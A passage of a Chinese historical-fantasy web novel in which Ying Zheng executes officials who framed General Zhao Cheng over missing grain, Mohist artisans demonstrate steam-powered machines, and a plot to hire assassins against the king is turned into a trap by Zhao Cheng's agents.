这些人多是从边军抽调的百战老兵,对赵地地形与潜在威胁极为敏感。
除此之外,还有黑冰台秘士约五百人。
伪装成商旅、流民散布在方圆五十里内,探查邯郸城周边是否有残余赵军、死士潜伏,每日三次向中军递报。
除此之外,还需要带上许多官僚和侍从,让这些核心官僚处理赵地事务。
其中丞相,御史大夫,廷尉,都是必须带的。
这些重臣还要,各带属吏二三十人,合计约三百人。
他们需随嬴政查勘邯郸城防、核验户籍、审定降俘处置方案,是“以秦法治赵地”的现场执行者。
侍从宦官约五百,负责起居的侍中、掌文书的尚书、传诏的谒者,以及打理饮食、车马、仪仗的仆役,确保嬴政行止如咸阳宫般有序。
仪仗也不能少,约五千人。
包括扛持“秦王旌旗”的旗手、擂鼓鸣金的乐工、执钺的虎贲,队列绵延一里,走一步鸣一声钟,步步彰显“天授王权”。
另有五千人的后勤队伍,负责车马、粮草、医官、工匠。
甚至包括专门掩埋马粪、清扫道路的杂役。
其中粮草,只是一些应急用的干粮,防止赵地初定,补给不稳。
嬴政也是没想到,这昌平君已经带着官员来到这赵地治理这么久的时间了,竟然能够把驿站和粮草搞的一团糟。
他们这区区三万多人的队伍,硬是人马吃不饱,行军速度是一降再降。
他原本复归邯郸报仇的好心情,都为之破坏了不少。
这令其极为恼怒。
“陛下,前方十五里便是望岳驿。”车外传来郎中令的禀报,声音带着难掩的疲惫,“队伍自清晨到现在只啃了些干饼,将士们都快撑不住了,不如在此歇息补给?”
嬴政闭了闭眼,指腹摩挲着腰间的玉佩,玉佩的凉意压不住心头的火气:“准了。”
他原以为,昌平君虽被贬为邯郸郡守,终究是做过相国的人,打理驿站粮草总该顺手。
毕竟他带的粮草只是应急干粮,想着赵地已被赵诚攻克月余,各城府库该已清点完毕,补给断不会出问题。
可谁知自踏入赵地地界,这却成了大问题,如今连望岳驿都成了未知数。
三万人的粮草都处理不好,若是大军开拔,还不得让他们给饿死!?
他心中已经决定,若是再出现问题,必须斩了这办事不力的粮官!
队伍挪到望岳驿时,日头已
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过中天。
驿馆的木门歪斜地挂着,院子里的井台边围满了抢水喝的士兵,井绳磨得快要断裂。
有锐士怨愤的声音隐隐响起,“这叫什么补给?老子在边军啃雪都比这强!”
这出巡而来,护卫的可都是军中锐士,各个是虎狼之躯,饭量很大。
结果连续多日都吃不饱,若非意志超群,现在已经有人**了。
嬴政的脸黑如锅底。
“负责粮草调度的人呢?给寡人滚进来!”
片刻后,一个身着褐袍的文官跌跌撞撞地跑进来,膝盖刚沾地就“咚”地磕了个响头。
额头上的汗珠混着尘土滚落在地:“罪臣王稽,参见陛下!臣……臣未能备好粮草,罪该万死!”
这人面黄肌瘦,袍角还沾着赶路的泥点,看起来倒像是受了不少委屈。嬴政的怒气稍稍压下去些,语气缓和了几分:“赵地初定,粮道有滞涩,寡人可以体谅。但三万余人的队伍,连饱腹都做不到,你们邯郸郡的官吏是干什么吃的?”
王稽趴在地上,肩膀微微颤抖:“臣……臣已三番五次向邯郸周边各城调粮,可各城都说府库空虚,实在抽不出余粮。如今各城驻军要**残余赵人反抗,粮草本就吃紧……”
嬴政眉头皱得更深,眸中更有深沉怒意,“赵诚攻克邯郸时,连月围城都未曾有过,各城府库怎会空虚?他灭韩破赵,缴获的粮草堆积如山,便是分些给驻军,也断不至于连寡人这出巡队伍都供不起!”
这里面定然有猫腻!昌平君那帮人被贬到邯郸,心里本就憋着气,难道敢克扣他的粮草泄愤?还是说……有人想借粮草之事做文章?
王稽被吓得浑身筛糠,只顾着磕头:“臣罪该万死!臣罪该万死!”
“废物!”嬴政怒极反笑,扬手就要下令,“拖下去,斩……”
“陛下饶命!大人是冤枉的!”
一个穿着青色小吏袍的年轻人突然从王稽身后扑出来,“噗通”跪倒在地,声音带着哭腔:“不是各城无粮,是……是赵诚将军把粮草扣下了啊!”
这话一出,厅内瞬间死寂。连外面争吵的士兵都停了声,纷纷朝厅内张望。
第179章 谮语织罗诬虎将,嬴政凝眸断佞肠
赵诚将军把粮扣下了?
这种说法还真是新奇。
赵诚在军中的名声,早已不是“勇猛”二字能概括的。
八日踏平新郑,三日攻破邯郸,北上逆战李牧时亲率三百血衣军凿穿赵军大阵,旬日之间席卷赵国全境……
桩桩件件,军功赫赫。
这些军功像烙印刻在每个秦兵心里,连最桀骜的边军锐士提起赵诚,都要竖大拇指。
“克扣军粮?”
一个满脸风霜的老兵忍不住嗤了一声,“赵将军破城缴获的军粮,堆起来比山还要高,可供给数十万大军吃上数个月,还能克扣陛下出巡队伍的粮草?“
就算是那些郎中令手下的锐士,也对其敬仰至极,无论怎么想,克扣军粮这种事情都和赵诚沾不上边。
于是所有的将士都面露怀疑之色,凝神静听。
那小吏被众人的目光盯得后背发毛,却还是梗着脖子往前凑了半步,膝盖在地上蹭出两道泥痕,声音带着刻意拔高的悲愤。
“赵将军攻克的城池,府库里的粮草本就不多……据、据各城小吏报,大半都被他分赏给了血衣军的有功将士!”
他抬手往邯郸方向一指,指尖因用力而泛白,连带着袖子都抖了起来。
“我家大人王稽,前前后后去各城求了三趟粮。
头一回被血衣军的校尉拦在城门外,说‘军中粮草,岂容地方小吏置喙’。
第二回好不容易进了城,那校尉干脆翻了脸,说‘昌平君都被将军打服了,你们这些小官,还敢来指手画脚’。
第三回……第三回他们直接放了箭,说再敢啰嗦,就按通敌论处!”
有血衣军的人威胁说,若是敢把这事捅到陛下面前,就说是大人办事不力,还要治昌平君大人的罪啊!“
“昌平君在邯郸城外,被赵诚将军打得半死不活,我家大人顾及昌平君的性命,哪里敢说什么,就要将这件事情一人担下。”
这话一出,廊下顿时起了骚动。
昌平君毕竟是曾经的相国,身份尊贵,地位极高。
大家虽然听说过昌平君在朝堂之上诬陷赵诚通敌,被陛下责令,前往邯郸负荆请罪。
但被赵诚打得半死这种事,乍一听还是很惊人的。
再联想到昌平君与赵诚的往日恩怨,血衣军如此作为,倒也不是不可能。
昌平君几次三番为难赵将军,如今贬到了邯郸,落到了赵将军手中,赵将军借机对付他,也很有道理……
只是,为何要扣我等的粮草……
将士们的目光变得有些哀怨起来,好像被心中的偶像背叛了一般。
小吏见状,哭得更凶了,眼泪混着脸上的灰泥滚下来,在下巴上积成黑水流:
“我家大人也是没法子啊!
昌平君在邯郸城外被打得皮开肉绽,至今躺床上下不来,血衣军在城里横着走,谁敢触他们的霉头?
大人说,这事若是捅到陛下面前,怕是要被赵将军反咬一口,说咱们故意刁难……
所以他才咬牙,想自己把罪责担下来!”
“可小的不能眼睁睁地看着大人就这么**掉。”
“陛下,我这里有他威胁我们大人的证据,就在……”
可他摸了半天,怀里只有一方汗湿的帕子。
小吏顿时急了,猛地站起身,双手在身上乱翻,从袖袋到腰带,连靴筒都倒了一遍,却连半片竹简的影子都没找到。
“咦?怎么会……”
他喃喃自语,又趴在地上,手忙脚乱地在尘土里摸索,指甲缝里都塞满了泥,“方才还在地……明明就揣在怀里……”
嬴政眯起眼,目光如鹰隼般落在那小吏慌乱的脸上,又扫过地上瑟瑟发抖的王稽。
厅外的风卷着尘土灌进来,吹得天光摇曳,映得每个人的影子都在墙上扭曲晃动。
这出戏,唱得倒是有意思。
王稽趴在地上,后颈的冷汗顺着衣领往下淌,浸湿了背上的衣料。
他能感觉到陛下的目光扫过自己,那目光像淬了冰的刀,几乎要剖开他的五脏六腑。
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这证据可是他们费尽心机做出来的,连纸墨都是特意从邯郸城血衣军驻地附近买的粗麻纸,本是计划里最无懈可击的一环,怎么偏偏在这时候没了?
陛下当前,你倒是快点找啊!
王稽见小吏始终找不到,只能继续演下去。
“陛下,此事与赵将军无关,全是臣调度不力……”
王稽咬着牙,声音尽量显得恳切,甚至带着几分“慷慨赴死”的决绝,“臣愿领死罪,只求陛下莫要因臣之过,错怪忠良……”
他言辞恳切,一副要慷慨就义的样子。
嬴政冷眼看着,心中冷笑。
赵诚那小子,攻克番吾时,连军功报都懒得写,直接就北上去攻伐李牧了,最后那军报还是李信代写的。
到了后来,更是夸张,一日之内,连下数城。
就这,军报也是蒙武写的,他就只管带着血衣军北上攻城。
直到军报实在没有人代写了,这小子没办法,才自己写了份军报,却也简单到了极致,寥寥几句话就写完了。
具体内容,还得让人自己猜。
这样的家伙,他连军功都懒得算,还能有时间,把各地的粮草田宅分配给自己的手下?
对于小吏的第一层说辞,嬴政就没有相信。
如今,小吏更是拿不出所谓证据来,面色慌张的发白。
以嬴政眼光的毒辣,哪里还看不出猫腻。
“拿不出证据,说再多也是废话。”
王稽的心脏猛地一沉。
“拖出去,斩了。”嬴政放下茶盏,声音平静得像在说今天的天气。
这就斩了?
王稽脸色顿时惨白,这和他们预先演练的完全不一样啊!
按计划,他该“义正辞严”地认罪,小吏跳出来喊冤,拿出证据,陛下就算不全信,也该心生疑窦,暂缓行刑,再派人去查粮草去向。
那时昌平君安插在各城的人早已把账册改好,定能坐实赵诚私分粮草的罪名。可现在……
陛下竟然直接要斩他?
第180章 墨徒铸械惊神工,血屠观机定霸图
王稽豁然抬头,想要说些什么,却又顾忌之前表现出来的慷慨就义。
深怕这是陛下诈他的计策。
然而拖拽他的军士已经上来了,铁钳似的大手扣住他的胳膊,将他往门外拖。
王稽的靴底在地上犁出两道深痕,他拼命挣扎着,颈间的玉饰被扯断,滚落在嬴政脚边。
此时所有的慷慨就义陡然破灭,只剩下满满的求生欲和对死亡的恐惧。
“陛下!臣……臣罪不至死啊!
是赵诚!
是他故意扣粮,想让陛下在赵地出丑啊!”
他嘶喊着,声音尖利得像被踩住的猫,“昌平君能作证!邯郸城里的官员都能作证!”
但嬴政却不看他,而是看了看一旁的顿弱,“传信赵诚,让血衣军调粮草来!”
这一句话,直接让王稽面如死灰。
让那血屠亲自来调粮草,那这所有的图谋不都会瞬间败露。
若是那赵诚得知了他们做的事情,细查之下,不知道要有多少人头滚滚啊!
完了……
王稽的挣扎和求饶声突然衰弱下去。
噗!
人头落地的声音在外面响起。
还在地上摸索的小吏听到这声音,浑身剧烈一颤,像被抽走了骨头似的瘫在地上,裤脚渗出一片湿痕。他抬起头,脸色惨白如纸,牙齿打着颤:“陛、陛下饶命!小的……小的只是听王大人吩咐……他说只要按他教的话说,就能活命……”
嬴政连眼皮都没抬一下,只是挥了挥手,像是在赶一只烦人的苍蝇:“这个也砍了。”
他本还想看看那所谓的“证据”究竟是何模样,没想到这两个蠢货连戏都演不圆。一群靠着钻营上位的墨吏,也敢打着寡人的旗号,想借刀**?
军士们上前拖那小吏,小吏哭得涕泗横流,连滚带爬地往嬴政面前凑:“陛下!小的知道错了!小的还知道他们藏在驿馆柴房里的账册!是改了各城粮草去向的假账册啊!”
嬴政终于抬了抬眼,目光落在他涕泪横流的脸上,冷笑道:“现在说这些,晚了。”
刀锋再次落下时,驿馆外的风变得更加喧嚣。
风尘甩起断玉的氅衣,上下翻飞。
断玉指尖捻着那份“证据”,微微一震,便将其震成了碎片,随风消散。
而后她紧了紧氅衣,望了望邯郸的方向,水润的眸子里闪过思念之色。
缥缈身影随风而去,裹着尘土的风吹散呢喃细语。
“爵爷这么久还不回来,妾奴只好来找你了……”
……
邯郸城的王宫深处,近来已少见往日那般此起彼伏的炸缸巨响。
曾经堆满废铁、弥漫着硫磺味的焦黑院子,如今已被整齐的木架与轰鸣的器械填满。
彻底成了墨家子弟的机关工坊。
青砖地被烟火熏得发黑,墙角的铁砧上还凝着未冷的钢水痕迹,十几个赤膊的工匠正围着一台黄铜大缸忙碌,额角的汗珠滴落在灼热的金属上,溅起细碎的白烟。
“将军请看。”
禽滑厘搓着满是黑灰的手,引着赵诚穿过工坊,声音里难掩兴奋,“自您上次点破那高压密封的窍诀,蒸汽机的效能已经提了七八成!”
他指向工坊中央那台吞吐着白汽的庞然大物。
铸铁底座深深嵌在地基里,三根黄铜汽缸并排而立,活塞在缸内往复运动,带动着上方的钢质压锤。
压锤每落下一次,都发出“咚”的闷响,震得地面微微发颤。
一块烧得通红的铁块被钳在砧上,压锤落下时,铁块如面团般被碾成薄片,边缘齐整得如同刀裁。
“这便是‘百炼机’,”
禽滑厘指着压锤旁的标尺,“看这刻度,一毫一厘都不差。
前日锻的那批**机零件,装上去之后,射程竟比寻常**箭远了二十步,且十发九中,误差不超半尺。”
旁边的相里勤正拿着卡尺测量刚锻好的蒸汽管道,接口处的螺纹细密如齿,他抬头笑道。
“从前铸管十根里总有两三根漏汽,如今有了这百炼机,钢料柔韧得能绕指,便是弯成环也不会裂,而且精密程度远胜于从前。”
穿过百炼机
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,工坊东侧的冶铁区更是热火朝天。
与传统的水力鼓风不同,这里的皮囊被一个铁制转轮带动,转轮连着蒸汽机的传动轴,每转动一圈,皮囊便“呼哧”鼓起一次,将风源源不断地送入熔炉。
炉内的火焰不再是橙红色,而是泛着刺眼的白光,映得工匠们的脸如同涂了金粉。
“这叫‘沸川’。”
禽滑厘往炉里添了一捧矿石,“蒸汽鼓风比水力鼓风稳得多,便是天旱断水也不怕。
从前炼一吨高碳钢不知要多久,如今一个时辰便成,且杂质少了七成。
昨日铸的那批农具,锄头刃口磨得再薄,也不会卷边,农人们见了,恐怕都要当成传家宝。”
正说着,几个新面孔的墨家弟子抬着零件匆匆走过。
他们本是上月来劝禽滑厘回机关城的,见了这工坊里的景象,当即挽起袖子就加入了研发,绝口不提回去的事情了。
其中一个弟子笑道:“从前总以为‘兼爱非攻’只在口舌,见了这沸川才明白,让百姓有好铁用、有饱饭吃,才是真的兼爱。”
走到工坊后院,赵诚的目光被一台架在木架上的水车吸引。
这水车没有叶片,取而代之的是一串链斗,链斗连着蒸汽机。
随着机器运转,链斗从旁边的池塘里舀水,顺着竹管送向高处的田垄模型,水流在模型上漫开,浸润了整个沙盘。
“这是‘润田车’,”禽滑厘指着沙盘上的刻度,“寻常龙骨水车最多提三丈水,这润田车能提十丈,且不用人推牛拉。
按这速度,千亩田一日便能浇完,便是遇上大旱,也能保收成。”
不远处的织坊里,织布机的“咔哒”声密集如雨点。
一台经纬机旁站着两个女工,她们只需轻踩踏板,蒸汽机便带动综片起落,丝线在经纬间穿梭,织出的麻布细密得能透光。
相里勤拿起一匹布笑道:“这机括能调经纬密度,织丝绸时,花纹比绣娘描的还准,速度是从前的十倍。”
最让赵诚眼前一亮的,是工坊尽头的空地。
第181章 铁龙碾轨惊尘路,冰使传烽破奸网
在工坊尽头的空地上。
两条铁轨平行铺在地上,铁轨由锻钢制成,接口处用铜钉铆接,严丝合缝。
铁轨上停着一辆半人高的铁车,车后竖着根小烟囱,正“嘶嘶”吐着白汽,车底的齿轮与铁轨咬合,随着蒸汽机启动,铁车缓缓向前移动,车轮滚动时几乎听不到杂音。
“这是‘驰轨车’。”
禽滑厘眼中闪着光,“此物虽还小,但若用百炼机锻出丈长铁轨,再造个大蒸汽轮机,便能拉上百石粮草。
等到铁轨铺设起来,就算从咸阳到邯郸,也是一两日便能到,就算哪里出现了饥荒,那粮食也是随时赈灾,再不用怕粮草被劫,赈灾不及了。”
赵诚摸着铁轨上冰凉的金属,脑中已浮现出纵横交错的铁道网。
蒸汽机车呼啸而过,车厢里满载着士兵与粮草,从前需要半月的路程,如今一两日便达,边疆战事瞬息可应。
有了这玩意,整个秦国都是铁板一块!
别说燕齐诸国,就算是四方外族,那也是轻而易举灭掉。
是时候用炮弹打开西方世界的大门了。
他正思忖着,禽滑厘却搓着手,脸上露出几分不好意思。
“将军,”禽滑厘递过一张图纸,上面画着个奇怪的铁车,车头装着个尖锥,“您上次说的‘液压撞角车’,我等琢磨了许久,那蒸汽驱动的液压杆总弄不明白。
您说的‘小活塞变大力’,究竟是何道理?”
图纸上的液压杆被画得歪歪扭扭,旁边批注着“力不足”“易漏液”的字样。
赵诚拿起笔,在纸上画了两个大小不一的活塞,中间用线条连起来:“你看,这俩活塞在一个密闭的缸里,灌满水。小活塞上用小力压下去,大活塞那边便会生出大力,因为水是挤不动的,小活塞压一寸,大活塞就能顶起千斤。”
他边说边拿起两个竹筒,往里面倒水,再用木塞堵住:“就像这俩竹筒,你按小的木塞,大的木塞自然会被顶起来,力道能差十倍、百倍。”
禽滑厘盯着图纸上的活塞,突然眼睛瞪得溜圆,猛地一拍大腿,震得旁边的工具筐都掉了底:“原来如此!我悟了!我悟了!”
他拽过相里勤,手指在图纸上飞快地画着:“咱们用铜铸缸,里面灌满油,小活塞连蒸汽机,大活塞接撞角——蒸汽推小活塞,油推大活塞,力道攒足了,别说城门,便是石墙也能撞开!”
相里勤也反应过来,两人抱着图纸蹲在地上,你一言我一语地算起尺寸,唾沫星子溅了图纸一脸。
赵诚看着他们兴奋的模样,听着工坊里蒸汽机的轰鸣,嘴角不由自主地扬起。
墨家的智慧,配上蒸汽的力量。
足以让这个世界,变一变天了。
嗯,听说嬴政就要来邯郸了,不知道他若是看见了这些东西,将会作何感想?
正想着,忽然听见王宫西侧传来极轻的衣袂破风声,像两片柳叶擦过墙檐。
赵诚眉峰微挑,这动静既轻且快,寻常侍卫绝无这般身手。
果然,下一秒就见两道黑影如狸猫般窜过工坊外的回廊,脚尖在廊柱上一点,便要往赵诚所在的后院掠来。
他们身形消瘦灵活,黑袍罩身,遮掩面容,只露出一双精光四射的眼睛,显然是精通潜行的高手。
但他们刚跃到半空,廊下的阴影里突然射出两道寒光!
“嗤!嗤!”
是两柄短刀,刀身窄而薄,泛着淬过油的暗光,直取黑影的手腕。
黑影反应极快,空中拧身避过,腰间软剑同时出鞘,剑刃“嗡”地抖出个剑花,竟想硬碰硬。
可廊下的人更快。
两个穿着暗红色的封喉从廊柱后闪出,动作快得只剩残影。
他们明明握着短刀,却使出了拳掌的路数,左手格开软剑,右手刀背“啪”地拍在黑影肘弯。
只听“咔嚓”两声脆响,黑影的软剑脱手飞出,人也像断了线的风筝般摔在地上,刚想挣扎,后颈就被死死按住,脸直接磕在青砖上,蒙布都磨破了。
黑冰台秘士都懵了,不是,我们是来传令的,不过是跑得快了点,不至于如此吧??
一个照面就给我们按这了?
“爵爷,抓了两个敌国探子!”封喉沉声禀报,声音里听不出喜怒。
他们是血衣楼的顶尖刺客,破赵之后便从暗处转到明处护卫赵诚,闲着这几日早憋坏了,下手没留半分情面。
“你才是敌国探子,你全家都是敌国探子!”
被按住的黑冰台秘士
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鼻青脸肿,欲哭无泪。
不是,也没人告诉他们将军身边还有这等存在啊。
他们可是黑冰台的秘士,直接受命于陛下的,各个都有不俗实力。
结果在这栽了!?
这两是什么人啊?
封喉手上一按,“不是敌国探子,为何鬼鬼祟祟!?”
其中一人急了,挣扎间露出腰间的青铜令牌,上面刻着个“冰”字。
含糊喊道:“给我住手!吾等是黑冰台秘士,奉大王令而来!”
赵诚挥了挥手,封喉才松开手,却仍按着他们的肩膀,指尖的力道足以捏碎常人骨头。
两个秘士狼狈地爬起来,蒙布滑落,露出鼻青脸肿的模样。
左边那个颧骨高高肿起,嘴角还淌着血。
右边那个更惨,额角磕破了,血顺着眉骨往下流,糊了半张脸。
两人看着赵诚,眼神里又惊又怕,还带着点委屈。
他们可是黑冰台的佼佼者,在咸阳宫能悄无声息潜入相府,怎么到了邯郸王宫,刚落地就被拿下了?
这两人是什么路数?
身手竟比黑冰台的教头还狠!
“上将军,”左边的秘士捂着颧骨,声音含糊不清,“我等真是黑冰台的,这是令牌……”
他从怀里摸出块雕着冰纹的铜牌,递过来时手还在抖。
赵诚瞥了眼令牌,指尖在上面敲了敲:“大王有何吩咐?”
“大王……大王出巡邯郸,行至望岳驿时粮草不济。”
秘士咽了口唾沫,飞快说道,“驿馆粮官说,是血衣军扣了各城粮草,还将府库物资分赏给了有功将士,以致出巡队伍连日饥乏……”
他偷瞄了眼赵诚的脸色,见对方没动怒,才敢继续说:“所以大王令您亲自调粮去望岳驿,两日之内务必送到。”
“哦?血衣军扣了粮草?”赵诚眉梢微挑,眼底闪过一丝似笑非笑的光。
他早从血衣楼安插在邯郸府衙的眼线那里得知,昌平君那帮人近来在偷偷改动各城粮册,只是没想到他们胆子这么大,竟敢把主意打到嬴政头上。
夜观天象时见紫微星旁有浊气缠绕,却未伤及根本,便知这是昌平君自寻死路,故而一直按兵不动。
如今看来,收网的时候到了……
第182章 血屠锋刃指驿路,佞臣豢魅乱銮舆
“某晓得了。”
赵诚缓缓站起身,话音刚落,一股磅礴的杀气突然从他身上炸开!
那杀气不是刀剑的锋芒,而是尸山血海里淬出来的沉郁,像冬日的寒冰压在心头,又像万马奔腾时的铁蹄踏在胸口。
工坊里的蒸汽机仿佛都顿了半拍,相里勤和禽滑厘手里的竹尺“啪”地掉在地上。
连那两个见惯生死的黑冰台秘士都猛地打了个寒颤,腿肚子不受控制地发软。
“敢扣陛下粮草,还想往某头上栽赃?”
赵诚的声音不高,却让周围似有寒风扑面,“某倒要去看看,是哪个不长眼的,嫌脖子太硬了。”
他迈步往外走,无数封喉突然现身,紧随其后,腰间的短刀在蒸汽光线下闪着冷光,竟是各个都不弱于之前那两名封喉。
两个黑冰台秘士僵在原地,好半天才敢大口喘气,后背的衣袍已被冷汗浸透。
他们终于明白,为何诸国提起“血屠”二字便是闻风丧胆。
这般杀气,怕是刚从尸堆里爬出来的恶鬼见了,都得绕道走。
这一趟望岳驿,怕是要血流成河了……
……
昌平君趴在渗血的锦褥上,刚被侍女上药的脊背突然传来一阵撕裂般的剧痛。
不是伤口的疼,是听见消息时浑身剧颤扯动了血痂。
他猛地侧过头,额角的冷汗混着血水滚落在枕巾上,声音因震惊而发尖:“你说什么?
王稽被斩了?陛下还让赵诚亲自调粮去望岳驿?”
床边的楚系老臣捧着竹简的手一抖,“是、是从望岳驿急传回的消息……王稽大人被斩时,那小吏还在寻找证据,结果被陛下一并砍了……”
“废物!一群废物!”
昌平君气的浑身发抖,指节攥得发白,狠狠砸在床板上,震得伤口一阵抽痛,“那封密信,是我等费尽心机,才偷来赵诚麾下校尉的私印盖的,连纸墨都是血衣军常用的粗麻纸,怎么能丢?!”
郁逊站在屋角,脸色比纸还白,“据说那小吏揣在怀里怕被搜走,就塞进了靴筒,结果路上走得急,许是掉在了哪里……”
他说着,声音越来越低,最后几乎听不见。
谁能想到,精心伪造的铁证,竟会因为这种荒唐的疏忽功亏一篑?
房间里瞬间陷入死寂,只有烛火在窗纸上投下扭曲的影子,映得众臣的脸忽明忽暗。
有个年轻些的官员攥着拳头,指节捏得“咯吱”响,却一句话也说不出来。
最年长的昭雎抚着胡须的手在发抖,喉结滚动了半天,才憋出一句:“这下……
赵诚若是亲自带粮去望岳驿,定会细查各城粮册……
咱们安插在粮仓的人,怕是藏不住了。”
“何止藏不住?”
另一位官员猛地捶了下案几,案上的陶碗被震得跳起,“那些改了的账册、分赏给血衣军的田产名录……全是刚刚做的手脚,许多地方还未完善,经不起细查!
赵诚此人残暴狠辣,到时候顺着线摸过去,不但咱们在军中的人要死,就连咱们这些人……”
他没再说下去,但眼底的恐惧已经说明了一切。
昌平君闭了闭眼,胸口像是被巨石压着,连呼吸都带着痛。
他原以为这连环计天衣无缝,先以粮草克扣引陛下生疑,再让赵诚查粮时“发现”假账册,最后由楚系官员联名上奏,说赵诚“私分战利品、结党营私”!
可现在,第一步就摔了个狗吃屎。
“还有机会。”
他突然睁开眼,眸中闪过一丝狠戾,目光扫过众人,“之前让你们查得,邯郸城里那些当年对陛下有恩的赵人,可有被赵诚处置的?”
负责此事的官员苦着脸摇头,声音里满是无奈:“查了,一个都没有。
赵诚像是早有准备,把那些人全安置在城西的别院,派了血衣军守着,吃穿用度比寻常富户还好。
倒是那些当年欺辱过陛下的赵室宗亲,被他单独关在大牢里,说是‘等陛下亲自发落’。”
他叹了口气:“这招‘失德’的罪名,怕是扣不到赵诚头上了。”
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昌平君的脸色更沉了。
伤口的剧痛混着心头的焦躁,让他几乎要喘不过气。
他猛地看向郁逊,声音压得极低,带着股破釜沉舟的疯狂:“郁逊,你前几日说的……有刺客能袭扰王驾之事,可还作数?”
“刺、刺杀陛下?”
有官员吓得倒吸一口冷气,手里的茶盏“啪”地掉在地上,摔得粉碎,“大人疯了吗?这可是株连九族的大罪!”
“不然呢?”
昌平君猛地拔高声音,伤口的血顺着锦褥往下渗,“现在还有退路吗?
赵诚一到各城,咱们的底细就得被扒干净!
与其坐以待毙,不如铤而走险。
咱们也不是真要杀陛下,只是要让陛下觉得,赵诚护卫不力!”
他喘着粗气,眼神里闪烁着偏执的光:“只要刺客能靠近王驾,哪怕伤不了陛下,只要让陛下受惊。
咱们就能上奏说‘血衣军布防疏漏,恐与刺客勾结’!
到时候陛下对赵诚的信任定会生隙,赵诚清洗咱们军中羽翼的事,才会变成**灭口,如此咱们才有翻盘的机会!”
郁逊的脸色变了几变,最后一咬牙,往前凑了半步:“有!臣确实联络上一个组织,叫做影楼七魅。”
“影楼七魅?”
昭雎皱眉,“老夫倒是听过这名号,据说她们是江湖上最顶尖的**,能接王侯级的买卖。
三年前魏国公子痤在府中被刺,便是她们的手笔。
两年前魏国相邦夜游时坠河,尸身三日才浮上来,也是她们干的……
据说此楼刺客行事诡秘,从没人见过她们的真容。”
郁逊点头,声音里带着几分紧张:“正是她们。
臣托了三层关系才搭上线,她们说……
在赵诚眼皮子底下动手,风险极大,但若事成,能搅得天下大乱,名扬天下,她们愿意接。
只是……”
“只是什么?”昌平君追问。
“要价极高。”郁逊舔了舔干涩的嘴唇,“开口就要黄金三万。”
第183章 金饼暗落封喉手,佞谋终入血屠谋
“黄金三万?”
有官员失声惊呼,“我等可都是清官,可俸禄加起来,十年也攒不下这么多!
这不是抢吗?”
昌平君的眉头也拧成了疙瘩——三万黄金,够装备半个军团的甲士了。
但他转念一想,这等能在血衣军眼皮子底下靠近王驾的刺客,自然不是寻常货色,价高才显其能。
“定金多少?”他问道。
郁逊的声音更低了:“这三万就是定金。
若是能惊了王驾,事后要再补五万。”
“什么?!”
昌平君差点从床上弹起来,伤口的剧痛让他倒吸一口冷气,“前后八万黄金?她们怎么不去抢国库!”
房间里又是一片死寂。
众人面面相觑,谁也没想到这刺客的价钱竟高到离谱。
昌平君沉着脸,环视众人,“凑一凑吧。”
众人面露难色,也不发言表态。
倒不是不愿意同舟共济,实在是黄金三万实在是太多了,真的拿不出来。
昌平君不耐烦,“此事若是不成,我们再无翻盘的机会,大家都要死的死,贬的贬,还不**吗?”
他的声音带着破釜沉舟的决绝,“事到如今,咱们的身家性命都系于此。
若是成了,别说八万黄金,将来重回咸阳,执掌大权,什么没有?
若是败了……”
他没再说下去,但那眼神里的狠厉已经说明了一切。
众人闻言叹了口气,心说也有道理。
有个官员摸着袖中祖传的玉佩,那是他准备留给儿子的,此刻却在犹豫要不要当掉。
还有人看着案上的金印,那是当年秦王赏赐的,或许能换些碎金。
众臣沉默片刻,终于有人咬牙从怀里掏出个沉甸甸的钱袋:“我这有五百金,是准备给孙子买田的。”
“我这有祖传的玉璧,能值三千金。”
“我把驿馆的账目腾挪一下,能凑出两千……”
众人七手八脚地凑着,金锭、玉饰、田契堆满了案几。
郁逊一边清点一边登记,手指因激动而微微发颤。
折腾到后半夜,总算凑齐了三万黄金,铸成十个沉甸甸的金饼,装在一个黑漆木箱里。
这个时期,金子稀有而珍贵,三万两不到百斤,但却价值连城。
“我这就去。”
郁逊提着木箱,眼神里带着最后的希望,“她们如今就在城外破庙,交钱之后就能准备行动。”
“血衣军一到驾前,立刻就可动手!”
他趁着月色出了城,来到城郊那座荒废的山神庙。
庙门半掩着,里面黑漆漆的,只有神像前点着一盏油灯,映出两个穿着黑衣的女子身影,一个蒙着银纱,一个戴着青铜面具。
“钱带来了?”蒙银纱的女子开口,声音清冷如冰。
郁逊把木箱往地上一放,“咔哒”打开锁:“三万黄金,一分不少。
说说你们的计划,怎么靠近王驾?”
银纱女子没动,面具女子却突然笑了,笑声像银铃,却带着说不出的诡异:“计划?自然是……抓了叛贼去见我家爵爷。”
话音未落,两道寒光突然从暗处射出!
郁逊只觉手腕一麻,刚想呼救,后颈就被狠狠一击,眼前一黑,差点栽倒。
他挣扎着抬头,看见那银纱女子摘下了面纱,露出一张清冷的脸,而那面具女子正把玩着腰间的令牌——上面刻着个“血”字。
“你们……你们不是影楼七魅!”郁逊又惊又怒,声音都变了调,“你们是谁?!”
“谁说我们不是影楼七魅,只不过,那是从前的名号了,现在嘛……”
“血衣楼,封喉。”
银纱女子冷冷道,她正是影月,旁边的是灵鸢,“我等奉上将军赵诚令,在此等候多时了。”
“血衣楼?赵诚?!”
郁逊如遭雷击,眼睛瞪得像铜铃,死死盯着地上的黄金箱,“你们……你们……”
见了鬼了!
我们凑齐重金找的刺客,是特么赵诚的手下!?
这钱不但白送给赵诚了,还被他给抓了个现行!这特么不全完了吗?
黑心的血屠啊!!
竟用手下刺客钓
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鱼!
灵鸢嗤笑一声,踢了踢地上的金饼:“你们也是有趣,凑着黄金请刺客‘袭扰王驾’,好大的胆子。”
郁逊终于绝望意识到。
从他联络“影楼七魅”开始,就在赵诚的算计里。
这三万黄金,竟是白送给了死对头!
他还傻乎乎地送上门来,被抓了个现行!
“赵诚……这个黑心的血屠!”
郁逊气得浑身发抖,眼前阵阵发黑,“竟然设局坑害我等!你不得好死!”
影月懒得跟他废话,对身后的两名黑冰台秘士挥了挥手:“带走。
爵爷还在等着审他呢。”
两名黑冰台秘士看得一愣一愣的。
我们是直属陛下啊,现在怎么成了血衣楼封喉的小弟了?
不过,这人竟然敢请刺客刺杀陛下,此事也确实是在他们的职责之内。
两名鼻青脸肿的黑冰台秘士上前,像拖死狗一样把郁逊拖了出去。
影月掂了掂黄金,这三万两黄金在其手中倒是轻飘飘的。
她打开看了看,金灿灿的金饼静静躺在其中,晃得人眼花。
“三万两黄金啊,还是跟着爵爷赚得多。”
灵鸢拿出一枚金饼摩挲着,大眼睛里几乎泛出星光来。
“以前拼死拼活,忙乎半年,也弄不到这么一枚金饼,现如今,竟有人白白送上门来。”
“嘻,这下发了。”
嘣!
